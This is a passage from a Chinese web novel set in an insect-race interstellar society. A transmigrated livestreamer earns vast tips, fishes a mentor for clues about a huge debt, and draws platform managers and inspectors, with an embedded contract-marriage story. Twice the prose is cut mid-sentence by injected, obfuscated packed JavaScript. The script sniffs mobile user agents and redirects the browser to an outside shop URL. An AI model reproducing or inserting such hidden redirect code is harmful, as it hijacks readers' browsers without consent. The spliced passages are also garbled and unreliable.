【举报梗概一览：该主播涉嫌捏造高等雄虫阁下与底层雌虫存在不正当情感关系，严重违背雄虫保护法和相关条例，社会影响极其恶劣……】 大胆狂徒！ 他眼珠子都要蹬出来，想也不想，起手就要将路寻衍的直播间永久封禁。 然而屏幕一角实时滚动的打赏流水疯狂跳动，金额数字层层递增，比他见过的任何一座赌场十轴老虎机转得都快。 “嘶……”超管倒抽一口凉气，悬在鼠标上的手指微微颤抖，迟迟无法按下。 这，这已经完全超出他能做决定的范畴，要权限更高的虫来镇场子！ 与此同时。 路寻衍交叠着腿，半靠在治疗舱边，深吸了一口气，缓缓地睁开双眼。 仿佛外界的喧嚣都与他无关，甚至没有第一时间去看快要爆出光屏的赞助数字。 他只是偏过头，蹙着眉揉了揉太阳穴，手掌搭在膝盖上，指尖抬起，极有规律地，一下、又一下地敲击着。 5. 严查主播 天花板上内嵌的圆形小灯泡苟延残喘，间断性挤出几道蓝灰色光斑。 昏暗阴仄的治疗室半空。 各种礼物特效疯狂滚动，五毛钱廉价bgm蜂拥而至不绝于耳。 “啧。” 路寻衍嫌吵，在虚空中随手一划——世界瞬间清净。 这下，窗外寒风呜哇呜哇的吹打锈蚀铁棂的声音越发刺耳。 他走了过去，正要关上，冷意钻进他怀里，冰得他缩回伸出的手指。 银白长睫抖了抖，朝下轻轻敛住了淡紫色的瞳孔，指尖一翻，指腹上竟然已经挂满薄冰融化形成的水珠。 【尊贵的S级阁下，荒星地表昼夜温差超过120华氏度，请注意保暖。】 智脑虽然被他静音了，仍悬浮虚拟投屏提示。 路寻衍面容僵硬地注视着智脑光屏那排小字，手掌再次覆在窗棂上。 一使劲，把破窗户硬塞回去了。 “吱呦——” 锈蚀金属发出受力的悠长声响。 手酸脚软的路寻衍最后好不容易才“哐！”的一下，彻底把它关严实。 然后他又拉上破抹布似的窗帘，提前闭眼屏息以防灰尘进入体循环。 就这样，目测不足10平米的狭小治疗室内，只剩维生舱的低沉嗡鸣、他自己、以及三排条形码“群演”的平稳呼吸。 这下好多了。他揉揉僵硬酸痛的颈椎，视线上移，重新去看直播间。 光屏静静悬浮在舱体斜上方，兀自播放着无声特效，鲜花如雨般的倾斜。 总计数到达200w时，一张散发着柔和金光的虚拟票据投射在半空中。 它设计得精美繁复，边缘是流动的星云纹路，中心印着巨大的、不断变换色彩的“2,000,000CR(credit)”字样。 下方还有一行小字：Felix平台-首播单场流水纪念。 “这还挺稀奇的。”是21世纪科技无法企及的造物。路寻衍目光落在这张从风暴中凝聚而出的纪念钞票上。 他朝半空中的淡金色光屏一伸手，它便被牵引过来，轻盈地飘落躺进了他的掌心里，令人血脉贲张的灼热感瞬间从手掌一路传到脑中枢神经。 像有热泉即刻涌过全身，有股凌晨加班回家踩进温泉泡着的放松感，就连一直折磨他的头痛，都缓解了六七分。 难以想象，一小时之前他还为便宜小舅子张口乱定的一周KPI焦麻了。 而现在呢？ 不到一晚，他就割到远超三分之一目标的真金白银，未来唾手可得。 虫族的韭菜，还真是长势喜人呐。 “我都有点喜欢你们了。”路寻衍呢喃，气音在半空中消散。 他对着直播间的光屏，两指指腹轻轻捏起金色钞票的边角，贴在了自己冰冷的侧脸上，狭长的眼尾微眯。 “你说什么？新虫主播@巡演涉嫌违法洗钱行为？” 平台主管深更半夜从床上被分频超管夺命连环call催起来接通快讯。 一听扰虫清梦的是这点小事，差点当场捏碎上周刚买的最新通讯器！ 平台主管提起嗓子就开喷，“日你X的！上班上到狗肚子里去了？ 这点小事也要半夜找老子？信不信下个月扣完你的绩效滚蛋？！ ……哦，你说他赚得太多，平台分成也爆了，你拿不准该不该封，所以找到我……行行行别嚷了我马上来公司。” 嘀。主管刷卡进办公室，脸上挂俩深沉的黑眼圈，跟个鬼一样，浑身发散煞气，见谁杀谁，狗来了都要被他踹两脚再骂跑。 他头顶虫须直立，“啪！”一下单手撑在了就近的程序员的电脑桌边，眯起眼睛弯腰去看后台统计的@巡演直播间数据增幅曲线，边看边嘀咕： “特X的老子就不信了！在「爱情/情感」专题怎么可能有主播而且还是新虫主播一星时就赚到……？” 直至平台主管亲眼目睹@巡演的直播间实时滚动的流水，满口脏话一下子全卡在喉咙里，发出空气响声。 “……咕咚。” 被他强行咽下去的唾沫翻滚，呛得他两眼一翻，几欲窒息。 “咳、咳咳！”平台主管止不住地扶着桌子弯下腰来咳嗽，“这……这是……” 他颤颤巍巍地、声音沙哑地比出兰花指，“这是真的实时数据？！” “……” 工作虫你看看我，我看看你，不明白他是眼睛瞎了，还是单纯的深夜起床、脑子神经紊乱不好使。 一时间，大家都没吭声。 几十双坐着的眼睛从不同角度在同一时间一起凝视快要站不稳的主管，默默揣测着他接下来要做什么。 …… 只见，兰花指主管抬起了手，在半空停顿两秒。 啪！ 兰花指主管手臂虫化劈断了就近的电脑桌！ 他目眦欲裂，以自己多年的从业经验分析，@巡演未签约初出茅庐力压众多签约大主播，天底下哪有这么恰好的事？ 归根结底，直播间里的俩神壕打榜不是巧合，绝壁是早有预谋！ 在他看来，@巡演演都不演了，拿Felix平台做跳板和炮灰，光明正大地洗钱，真身说不准是第七军团的内部虫。 内部虫·路寻衍：。 他靠在逐渐起霜的治疗舱边，浅淡的紫色虹膜里倒映着虚拟光屏上仍在不断炸开的超级舰群特效和疯狂滚动的评论。 谄媚的、攀附的、谩骂的、祝贺的，从星网各个角落蜂拥而至。 【陌生ID发来一张商业名片：@巡演您好，我们是全虫族最大的娱乐经纪公司勃艮第集团，诚邀加入。签约分成好商量，感兴趣请联系XXXX】 ——此账号于12分钟前开始关注你—— “最大的娱乐经纪公司”这个title让路寻衍来了几分兴趣。 他指尖轻点那张商业名片，光屏界面瞬间切换到了一个黑底金边的私聊框中。 勃艮第集团的AI代理的头像亮起，公式化的热情问候弹出。 [亲爱的主播大大您好，我们是全虫族最大的娱乐经纪公司XXXXX] 路寻衍扫一眼就失去往下阅读的兴趣，“哧”了声，心道这公司也不诚嘛。 上来就拿头衔压人，生怕不知道它是全虫族最大的娱乐经纪公司呢？ 所谓的诚邀加入恐怕也只是系统自动爬取到潜力主播，广撒网挖人罢了。 因此才出现这种点进去跟他对接的并非真虫，而是AI的情况。 但，有机会递到门前总归还是要试上一试—— 自己恰好不想给Felix把钱分走一半。 所以路寻衍单刀直入，很快就谈到了利益划分的问题。 然而几个battle之后，对方AI的回复都快而坚决： [尊敬的主播，4:6（公司6）是我们能给新星的最好待遇，尤其是给像您这样优秀的主播让步的底价。] 现在，路寻衍更加确定，勃艮第集团挖人没半点诚心。 他们在系统里设置的，所谓诚邀都才四六分，对待别的主播还不知道有多剥削，二八分也不是没可能。 就这待遇，还底价？ 呵，这年头怎么血汗工厂也敢明晃晃出来装正经公司骗人了？这是在把他当新主播欺负，就赌他不懂行情呢！ 许多萌新看到头部大公司的邀约就挪不动脚，傻兮兮地签下十年卖身契。 等他们淌清了水深，后悔想退，早就为时已晚，只能含恨带怨，清醒而痛苦地被资本吸干身上最后一滴血。 好在路寻衍并非真素人，心里自然是清楚个中门道。 真正有诚意的签约待遇至少三七分，平台三，他七。 而现在呢？ 呵，比Felix还不如。那不如再等等，说不定会有其它更好的机会。 路寻衍看着那行字，没有敲下任何回复，径直关闭了私聊窗口。 仿佛刚才什么都没发生过，视线重新落回直播间弹幕上。 有长篇大论飘过，【呕好恶！写的什么东西啊？真准备“为艺术献身”？……哦！我的老天虫！还真是「爱情/情感」专题！拉黑拉黑拉黑谁想在星网上看到你的赤身裸体！】 ——此账号刚才拉黑了你。你们的动态对彼此不可见—— 【老师：祝贺你，终于开始做自己想做的事情。】 ——此账号于五分钟前开始关注你—— 嗯？ 路寻衍眨了眨眼睛，心讶[老师]这语气，怎么看着好像认识原身。 这可不妙啊。 他直感到后背发凉，虽然自己播的是原身最喜欢的「爱情/情感」主题，一点也不ooc，但毕竟星网上多一个知道他底细的人就多一分风险。 银发雄虫的腰背稍稍挺直了，收起金钞票，正色敛神，认真去探究。 智脑为他自动放大刚才的平台提醒。 这次，倒让路寻衍瞅出了点新思路。 如果[老师]跟原身很熟，甚至从小看到大，了解许多情况的话……？ 那么说不定，[老师]连原身最隐秘的事，也略有耳闻！ 路寻衍的呼吸变得急促，他好像看见了缓缓展开的一条捷径。 要是能从[老师]口中撬出10个亿的下落，提前还清债款，那…… 自己可不就提前下班，随时跑路了嘛！ 心中阴霾骤散，路寻衍突然动力满满，说干就干，切到后台，点进和这个ID的聊天界面。人还没动，智脑就自动根据他的想法哐哐一顿输入。 快要发送的时候，路寻衍临门一脚踩下刹车： 嘶……直接聊天不可行，会暴露。毕竟说多错多。 他亲手按住虚拟屏上的红键一个字一个字删除，重新编辑信息，最后打出最保守、无论如何也不会穿帮的：[谢谢。] 过了两分钟，对面看到这条信息，从直播间切进后台。 …… 黑色钢笔头像很快变成正在跳动的六个点。 [不客气，阁下。] 路寻衍瞳孔微缩。 刻进了他本能里的导演捕词能力就像探测雷达一般的飞速启动，敏锐地从这简单的两句话透露的态度里，捕捉到了[老师]与原身之间的关系： 从属执事般的，亦师亦友的，亲密但张弛有度的，全方位的呵护者。 这人脉用好了就是能在关键时刻助他一臂之力的底牌，用不好，就是一颗随时都可能炸死他的定时炸弹！ 毕竟，[老师]还不知道，原身的芯子已经被路寻衍替换掉了。 按照他对原身的这个呵护程度，一旦自己露陷，后果不堪设想！ 路寻衍心脏怦怦的时候，[老师]黑色的钢笔头像再次变成了依次跳跃的六个点，输入一句话之后发送。 [……我注意到您把我移除粉丝列表了，最近是有什么烦心事吗？] 来了！路寻衍的脑中瞬间警铃大作。 如果这个解释不好，让对面起了疑心，那一切就全完了。 他艰难地吞咽一口唾沫，左手死死地摁住自己的胸口，强行冷静。 “嘶……”路寻衍闭眼仰头，深吸着气。 心中想到：“你已经把他们这两个角色之间的关系大致分析出来了，只要按照台本演绎，不崩角色，他就永远也发现不了你……” 没错！路寻衍蓦然睁眼，脑中千百种对词一一闪现。 问：我注意到您把我移除粉丝列表了，最近是有什么烦心事吗？ 答： [没啊你想多了。]这个不行，容易引发对方穷追不舍的后续探究。 最好能一句话就掐灭[老师]脑中刚萌芽的好奇心，然后找机会打探原身把那10个亿藏到哪里去了的事。 他又想到，既然原身跟[老师]的关系有点类似上下级，那么是不是可以直接简短地只发俩字，[别问。] “哎。”路寻衍赶紧把这想法甩出了脑子。 态度过于强硬，有欲盖弥彰、故作高冷的嫌疑，使不得使不得。 换位思考一下，他要是[老师]，看见自己这么回复，肯定会起疑。 想要完美地扮演，彻底把[老师]变成他手中的一张王牌，必须要仔细分析原著，深挖自己拿到手的这张S级炮灰卡到底是个什么样的性格。 然而垃圾灌输给他的，只有小说开始过后，沐伦·坎涅昂从离家出走到一命呜呼，这中间他甚至没来得及联系[老师]，或者说，他觉得自己不靠[老师]也能搞定，结果小命玩完。 重要信息缺失，当前唯一解法，只有模棱两可，并且尽量减少字数。 思来想去，路寻衍最后高深莫测地回道，[还好吧。] [老师：哈哈。我们阁下结婚之后变得惜字如金了。] 结婚？对面提到“结婚”，那十个亿正是与这婚约有关！ 他的眼睛倏地亮起来，差点拍案叫绝——来了！正题开始。 这压在自己肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609379|187600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头的10个亿天价债款能不能在一夜之间全滚蛋，就看你了啊！老师！ 路寻衍的心脏怦怦跳个不停，刚才是紧张的，现在是兴奋的，恨不得对面噼里啪啦给他全都交代干净了。 然而实操不会傻到直接去问老师关于钱的事，太突兀，必须套话。 一般都讲究声东击西，先要暖场，活络活络双方之间的聊天气氛！ 所以，他拐弯抹角，要问关于和阿斯克的婚约一事，却不明说，把这个开口的机会抛给对面，让[老师]自己主动给他送情报。 打定主意过后，@巡演回复的字数比前两次的都多了一点。 [那老师觉得，我的雌君怎么样？] …… 果不其然老师的黑色钢笔头像再次变换，输入许久，应该有很多字。 路寻衍呼吸情不自禁放缓，盯着对面像海淘拍岸依次跳动的六个点。 “叮——” 智脑手环轻响，新消息发来，却只显示简短的两字：[可惜。] …… 可惜？ 路寻衍疑窦顿生，克制心中升腾而起的探究欲，不在聊天里直接问。 因为原身大概率知道却左耳进右耳出，到他这就是两眼一抹黑，自己张嘴问了，反而ooc，可能会出岔子。 所以@巡演接到消息，发了个眨眨眼的emoji，只打趣道，[老师怎么开始学我，“惜字如金”了？] …… 对面又变成跳动的六个点。 这次的回复很快，因为老师没打字，直接发了个微笑emoji. 路寻衍文化差异发作，僵硬地扯扯嘴角。 心想这要放在21世纪，那铁定是表达骂人的含义。 不过老师上了年纪，发送微笑emoji大概率真在使用它的本意吧。 …… 他正要回复，对面输入状态符重新跳动。 老师发送一条新消息，[阁下，您说笑了。那我“滔滔不绝”一下好了。] 这就对了。 路寻衍嘴角不自觉微微扬起，朝半空中智脑屏幕的方向做了个口型：愿闻其详。 他身后治疗舱里躺着的这位，阿斯克上将的故事，在老师的文字里徐徐展开。 原来，在小说开始前，也就是原著男主出现之前，阿斯克本来要竞选元帅。 他过五关斩六将，好不容易打进2:1总决赛了，偏偏天公不作美，外出旅游度假到夷弗提托星的A级雄虫诺林·郎明顿阁下迁跃器失事，正好坠落在第七军团附属驻扎星的领空。 这巧合，啧啧啧，要多刻意就有多刻意。 路寻衍心叹不愧是被内定给龙傲天男主铺路的未来元帅，没事都要被剧情碰瓷。 更绝的还在后头，本来高等雄虫阁下出事确实万分紧急，但再紧急也轮不到远在千里之外的阿斯克亲自出马。 当地驻守军雌自会快速响应救援，再怎么也比阿斯克赶回去更及时。 然而……路寻衍物伤其类，缓缓叹口气。 按原著那尿性，不出意外一定又出意外。 果然，就是这么“碰巧”。 在A级的高等雄虫，诺林阁下不幸遇难的半个标准日前，当地领空“碰巧”爆发了超大型星兽潮汐，驻守军团主力“碰巧”被拖入苦战逐渐不敌，指挥中心“碰巧”下令全员出击。 路寻衍听得直摇头，两个手掌一拍——啪的一声，军团驻扎营地空了。 虫都跑去打高难本，分身乏术，哪能调头回来救阁下？ 不救却不行，他们数量稀少，雌雄比例1000:1，优先级高到爆表。 若是有阁下真死在自家的领空，第七军团全体不跟着陪葬也要被雄虫议会生吞活剥，狠狠扒下一层皮！ 最后的结局，路寻衍已经完全可以预料得到。 谁叫当地无虫蛀守？阿斯克被迫在总决赛的前一晚紧急迁跃回防。 白白便宜了第四军团长坚壳甲虫万厄索当选元帅。 可谓是虫族历史上，近百年来的第一个捡漏元帅！ 看到这里，路寻衍转身回望向治疗舱那边—— 反观阿斯克，落得个重伤濒死，躺在这里的结局。 也对。 毕竟要在整个驻守军团都打不过的超大型星兽潮汐里凭借一己之力扭转战局，还要兼顾救虫，谈何容易？ “所以这俩打榜ID绝壁来自第七军团！”平台主管斩钉截铁。 “他们想救阿斯克急疯了，非法集资，拿@巡演当白手套洗钱，证据链齐全！” 判定完毕，他在电脑感应屏幕面前手指朝上一挑，后台统计数据面板被调出，金光闪闪的夸张金额统计映入眼帘。 分明已经见过一次，平台主管还是没忍住，变成响尾蛇，把气抽得嘶嘶作响。 这要是封禁@巡演，到手的肥肉就飞了；可要是不封吧，雄保会必定找上门来。 那帮子疯狗昨天才端了个秀场，就因为宣传标语不小心提及高等阁下，被拆整栋楼。 这@巡演吧，虽然打了个擦边，没直接提及剧本阁下究竟什么身份，但看样子，也是一只高等的雄虫。 现在如何选择？ 他感觉自己好像站在一杆秤的最中央，左右摇摆不定，稍微往哪个方向错偏一点，都可能面临灭顶之灾！ 平台主管纠结犹豫抠脑壳，头顶用珍贵育发液刚养出来的两根头发又要被他薅掉了。 旁边小弟还在添油加醋：“老大，其实我觉得咱们的道德底线，可以、稍微，灵活，那么一丢丢……” 分频超管的表情猥琐，用大拇指和食指比出一点距离，请示他要不高抬贵手，就别封@巡演了，考虑考虑签约的事。 “这泼天的富贵，兄弟们……” “……”巴尼多瞥了超管一眼。 马乔里心中打的什么小九九，他自然是门清。 灰色领域暴利发洪水，可遇不可求，美事一桩！倘若他们睁一只眼闭一只眼，所有虫都能跟着吃香喝辣。 “但要是雄保会的那帮子疯狗外勤闻着味追过来，你该怎么解决？” 巴尼多主管从业二十余年，经验老道，想得更长远，犀利地问。 “啊这……”分频超管有句话，不知当讲不当讲，支支吾吾起来。 “哑巴了你？快说！”巴尼多主管看见他这鬼样子就来气，头发又少两根。 “内个……”超管唯唯诺诺指向办公室外面，“其实他们已经到门口了。” 6. 星网争议 怀因有时候觉得自己命很苦。他只是个新入职的管培生而已，要轮岗。 不幸轮岗到外勤组的稽查岗。 这就开启了他倒霉的旅途，碰上带他的领导卢施接到举报，说那什么…… @巡演？ 在星网造雄虫黄谣，寻衅滋事。 于是卢施大手一挥：“正好带你实操一遍熟悉逮捕流程！” 他就被打包进飞船，提溜过来了。 航空噪音持续地响，怀因在颠簸的飞船里又想吐，又想死。 这可是两个大时区！正常迁跃的飞行时长大于一个标准月！ 而现在呢？军雌都没您能急行军！ 三个星时不到，领导就亲手操刀，带他一扳手杀到Felix涉事公司报道了。 怀因愁成了苦瓜脸，想撅嘴又不敢在领导面前撅，只好僵着右半身在暗地里大臂发力，死死地夹住了腋下那只，为了庆祝找到工作第一天上班新买的公文包，扭头扒在窗边看风景。 眼见着地面离他越来越近，减压阀泵气，迁跃器舱门打开，坐在他身边板着个脸一直翻资料的领导起身，他才不情不愿跟着起来，心底把@巡演骂成了狗。 “给你看的资料，你看完了吗？”领导站起来，整整衣领，斜了他一眼。 怀因赶紧拍胸脯保证，自己早已对@巡演作案的每一个细节都烂熟于心！ 跟着领导走出迁跃器，他的嘴角勾起一抹练得完美无缺的职业微笑。 事实上脑内早已扭曲成一幅尖叫世界名画。 啊啊啊！天知道！他熬108个大夜复习枯燥的音乐鉴赏知识点，最终在独木桥上挤赢了百万对手成功上岸，就是为了进雄保会这个闲职单位摸鱼的啊！ 现在这这这，我是谁？我在哪？我在做什么？！ 怀因现在心情与高考专业错选天坑的机械/生物/化学完全没差。 悲愤交加，感觉虫生无望。 他才入职多久啊？就俩周。 从家里到雄保会的路都还没完全飞熟呢，屁股还没在办公室坐热，就开始星际出差，跑进穷乡僻壤北群星大区。 就为彻查@巡演洗钱案。 讲真，区区一百万星币，能算洗钱吗？ 怀因深切地怀疑，并联系自己亲身经历过的事实举证。 他在首都财团成员虫的晚宴上见到的小物件拍卖助兴起步价都1000万起步！ 100万，算个叼毛？ 如果@巡演一晚1个点算洗钱，那首都财团分分钟竞价10个点算什么？ 聚众犯罪吗？怎么不先去抓他们！ 怀因苦大仇深地走下迁跃器，深棕色的皮鞋踩到地面上，学着领导的样子，装模作样地整理了两下自己的制服，跟在队伍里前往Felix直播分公司大楼。 星网上，有虫拍下这一幕，【@巡演你完了！雄保会真来逮捕你了！】 【保真？】 【这能有假？哥们儿就住Felix办公楼附近，亲眼看到雄保会的稽查外勤从迁跃器下来，直奔那家分公司去了（图片）】 这成功吸引路寻衍的注意。 他切出私聊界面查看图片。 内容显示一幢反射幽幽蓝光的耸立高楼和一艘无视交通规则停泊在高楼底部大门口中间的小型飞船。 好家伙，官方来真的？路寻衍说不吃惊，肯定是假的。 看来这世界的警力溢出严重，居然把公职虫员浪费在星网捕风捉影的事上。 现在，雄保会外勤即将找上门来，那十亿下落就只好稍后再问。 路寻衍转移话题：[老师，他们会找到我吗？] 他适当调整表现，演出学生的姿态。 如果他猜想不错，这句本身性质完全中立的话，会被听者自己脑补结合@巡演目前的困境，主动为他所用。 …… 私聊界面，对方的输入状态变成六个点。 路寻衍咽了口唾沫，紧张地把掌心贴放在腿面上，轻轻绷直身体，盯着悬浮的光屏。 智脑手环轻震两下，对面向他发送一条新消息： [这全凭阁下意愿。只要您想，那几只雌虫即日起将被开除。] 成了。路寻衍肩膀稍微放松，为自己再一次顺利扮演舒了口气，读完消息，又感到不可思议。 好家伙，公职虫员也能说开就开吗？ 他短暂惊愕后，没有飘飘然忘乎所以，而选择避免引发社会动乱且不ooc的回复，[意思一下就行了。] [老师：收到，我会把全过程转播给您，阁下。您的辅佐官很乐意为您效劳。] 发完，黑色钢笔的头像灰了，状态窗显示对方在1秒钟之前已下线。 路寻衍这才开始剧烈地呼吸，用手捂住怦怦撞击胸腔肋骨的心脏—— 要及时扮演原主、同时诱导对方行为，并非易事。 那么……万事大吉？ “嗯……”室内突然响起一声轻微的嘤咛。 路寻衍瞬间警觉攥紧手中榔头，闻声望去，瑞奇的手指正不自然抽搐。 他心头一跳！ 虽面上不显，但直播间的智脑反应了主人实时的脑电波活动，BGM忽变。 一阵狂风骤雨、黑云压城城欲摧。 路寻衍的神情变得专注，抬起四指在手柄上依次下落，渐渐握紧了榔头。 @巡演直播间仍在后台静音运行。 开启[思维-文本同步]模式的智脑忠实地捕捉到他潜意识里的攻击倾向，无序浮动的蓝红色立体星云剧烈翻滚。 中间突兀浮现出一支通体锃亮的银色钢笔，就像一个笔直的感叹号！ 现在，故事还要继续，剧本正待完善…… 90度垂直笔身逐渐倾斜成45度角。 唰啦啦——唰啦啦—— 银色钢笔在浮动的无序星云中央，谱写接下来的故事。 […… 他好像生病了，对，他一定是生病了，要不然他为什么感觉自己的脑子都快要被完全煮沸。月亮朝他伸出了手，但是月亮迟迟没有得到回应。也许在月亮的眼里，他现在的模样滑稽，原本温顺匍匐在黑色发丝里蜂须倒立而起，沙褐色的虫瞳在听到问句后，立刻从圆点骤缩成了两根狰狞的竖线条。他面目丑陋地呲着下嘴唇，喉咙里塞满了还没来得及咽进肚子里的食物碎块，整个虫从脖子到脸，全部涨红了，定定地望着那只手发神，没说愿意，也没说不愿意。 “那好吧，”月亮等了他大概有半分钟，最终收回了手，但依然浅笑着视线下移，舒出的鼻息里有几分无奈，“既然你不同意协议结婚，那我走了。”话音落下，那只白净的手回缩，就像一只羽毛柔顺的白鸟，从他的眼前振翅飞离了。 艾瑞克脑子嗡的一下，呼吸都快要停滞，刚才不知道为什么没能动起来的身体立刻就有了反应，盯死了那只翩然飞舞的白鸟，脚下发力猛扑了过去——上半身倒是如他所愿地动了，下(半身却由于长时间饥饿导致的乏力，膝盖发软，伸长的手臂只有指尖触到一小片衣角的边缘。 “唔……！”别走。生在偏远低等星的雌虫不懂得这冲动叫做一见钟情，只知道自己好像不是因为快到手的金卢要飞走了才仓皇挽留的。他也弄不明白自己想这样做的具体原因，但是身体里的每个细胞都在疯狂地呐喊，告诉他这次错过就一定会后悔终生，然而喉咙里塞满了还没来得及咽下去的食物碎块，什么也没法说出口。 只能眼睁睁地看着那包裹在昂贵布料中的身影毫不犹豫地转身，黑色的斗篷掀起，冷银色的靴尖优雅地避开巷子里的各处污浊的水洼，动作跳舞似的轻盈，离他越来越远，过程中有条淡金色的尾勾缓缓地升起，在漆黑斗篷的中央一摇一晃。 艾瑞克也不知道当时的自己是从哪来的力气，整个虫就像是底座下面轰然点燃的火箭，再度朝前爆发而起，心里只剩下一件事，最想做的那件事。他的意识高度集中，身上原本早就不能协调工作的每一块肌肉和骨骼都在此刻达成了不可思议的共识，奋力地助推他朝着那件事迈动，朝外张开到最大的五指在皮肤感觉触碰到什么东西的时候就立刻回收，终于，抓实了那片衣角。 黑色的锦缎斗篷被扯开，滑落至月亮腰间，清晰的线条浮现。他感觉自己的脸更烫了，不敢再多看，视线上移，就看见月亮身披的黑色斗篷底下，是一件同样黑色的衬衣长袖，袖口静静地排着三枚淡金色的纽扣，严实地扣到了手腕的最后一颗，往上则扣至喉结。那纤白的脖颈微微动着，好像蕴含着某种柔韧的力量，把艾瑞克后背翼状肩胛骨骨缝里安分收敛起来的那对薄膜翅膀像摁弹簧小刀一样地摁开了，收缩蜷曲起来的虫翼逐渐朝外舒展，扇出了一连串残影，飓风呼啸。 遮掩着月亮的斗篷兜帽落下，映入他眼帘的竟然是一头淡金色的短发，鬓间有几缕在耳边滑落，如同偶然照进阴暗角落的一缕阳光，在晦暗如夜的雨巷里，散发着某种温暖到有些不真实的光晕。 哦，不是月亮。艾瑞克紧抓着手里的斗篷，想。那是淡金色的太阳。 世人皆知飞蛾扑火，又怎知阳光对蜂种来说，同样如此。埋藏在体肤之下的本能的趋光性让他们哪怕见到一点温暖的光芒，都会情不自禁地离开蜂巢，朝着太阳靠近。他的指尖无意识地抬起，想要触碰那缕近在咫尺的阳光，探寻它是否柔软，是否真的带着能驱散世间所有疲惫的温度，没注意到自己腺体雨后初霁般的荷尔蒙素味道溢散出来，愈发浓郁。厄默星球的免费医疗检测机构报告他是个性腺残废来着，因为小时候缺乏营养。所以只有太阳知道，此刻突然静止不动释放求偶荷尔蒙的他，就跟在大庭广 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609380|187600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众之下冒失的单膝跪地没有区别。 自始至终一直沉默站在阁下身边的辅佐官雌虫因为他的粗鲁举动皱眉，即将出手的时候，阁下自己动了，一道鞭影闪过，带着锐利的风声，逼退了艾瑞克的手。“这是警告。你需牢记，未经允许禁止擅自触碰我。”太阳俯瞰着他的神情突然严厉，想的却是别的事。连中央星系给他找的最佳雌君虫选跟他的匹配度都只有70%，想不到在宇宙的旮旯角遇到法律规定匹配度在90%以上就必须真结婚的雌虫……幸亏对方看上去并不知情。他在心里暗暗松口气，高傲地扬起下巴，俯视在冷雨中瑟缩的身影，“艾瑞克先生，你记住了吗？” “你知道我的名字？”婚后很长一段时间，艾瑞克也不知道当时自己哪来的胆量敢质问阁下，目光灼灼。 雨幕里，一直站在雄虫身边给他撑伞的那只辅佐官雌虫，在太阳的耳旁俯身低语，说他看见他的双眼里长满了野心，觉得这只雌虫不合适结婚。 “嗯……”雄虫阁下的表情好像被说服，他的身体也有轻转的趋势，艾瑞克现在已经能从那些微末的肢体动作预判太阳的下一步反应，这显示着，雄虫阁下即将毫无疑问地转身离去。然而就在他竭力全力地调用着自己脖子上的那颗被饥饿侵蚀得生锈难以转动的大脑试图出言挽留之际，雄虫阁下却悠悠地转过来问他：“那你自己觉得呢？” 艾瑞克脑中一下仿佛有什么轰然炸响，当即抓住机会否决了那只辅佐官雌虫对自己的指控，发毒誓保证，假结婚就是假结婚，绝对不会在合约期间动半点的真感情，否则他出门被星兽咬死。 “噗嗤。”阁下曲起的食指轻轻搭在了口鼻间，一旁的辅佐官雌虫恭敬替他整理行装，黑色斗篷兜帽重新下落，遮住了那一头令虫惊心动魄的淡金，只流露湛蓝的眼瞳。“那就签约吧。”分明是太阳，此刻的声音却清冷如月，“记住你的诺言。合同即日生效。”协议结婚的那页薄纸递到他手上。 ……] 此时路寻衍也来到瑞奇的身旁。 他高举着榔头，做了个逆向挥动高尔夫球杆的动作。 锤面渐渐往上抬起，在昏暗的治室内反射寒光，不知何时就会下落…… 直至某一刻，直播间被当作背景图的星云突然开始更加狂暴地翻涌！ 那支“唰唰”快速谱写剧本的银色钢笔却恰恰相反的，顿在纸上。 这一停不得了，就好像在滚油里泼进冰水，瞬间炸锅： 【不er，老子差点就代入，怎么卡在这里？】 观虫们齐齐呆愣半秒，仿佛要签那纸卖身契的不是艾瑞克，而是他们自己。 有些观虫在看到阁下把合同递过来的那一瞬，双手甚至已经平举向半空伸过去接，直到剧本徒然中断才赫然发现刚才的失态，立马狂扇自己二十个巴掌： “呸呸呸，写的什么垃圾故事！” “我怎么可能喜欢看这种下三滥！” 星网的另一头，评论区火力全开。 恼羞成怒的观虫们一窝接着一窝变成一群群被激怒的马蜂，嗡嗡嗡死抠新故事的每一个字眼，试图通过撕碎主播给剧本内容套上的外壳，扒出其下掩藏的真实事件来寻找安全感，表明自己完全是不可能为这个下三滥故事着迷的！ 有眼尖的观虫瞬间抓住核心但歪方向。【操！等等！低级雌虫跟高等阁下的信息素匹配度不可能达到90%以上！破案了，这艾瑞克怕不是个流落在外的超A级高等种雌虫？！】 立马有科研虫据理力争。【放屁！医疗仪器检测结果是铁证！】 【联邦标准检测仪覆盖全星系，误差率低于万分之一，他一个F级的垃圾也配质疑科学？也配碰瓷高等种之间才有的‘特殊信息素匹配串’？我看他就是个想攀高枝想疯了的骗子，艾瑞克F级废物雌，板上钉钉！】 【@雄保会网警，举报升级！这主播简直无法无天，公然宣扬虚假匹配度，蛊惑虫心！】 这些乌烟瘴气不和谐言论没刷多久，直接被榜一用十艘超级舰清屏。 引擎轰鸣声震耳欲聋，就像除草机推草似的轰隆隆碾压过去，水波涟漪一圈接着一圈，净化整个直播间。 【卡利：聒噪。爱看看不看滚。】 ——平台提醒——ID卡利赞助了您十艘超级舰！ 留言：很难不赞同这样的设定。仪器是死的，虫是活的，感情是超越数据的。 匹配度95%是灵魂的共鸣，命运在低语。垃圾星的仪器算老几？你们又算老几？懂什么是真正的命定伴侣？ 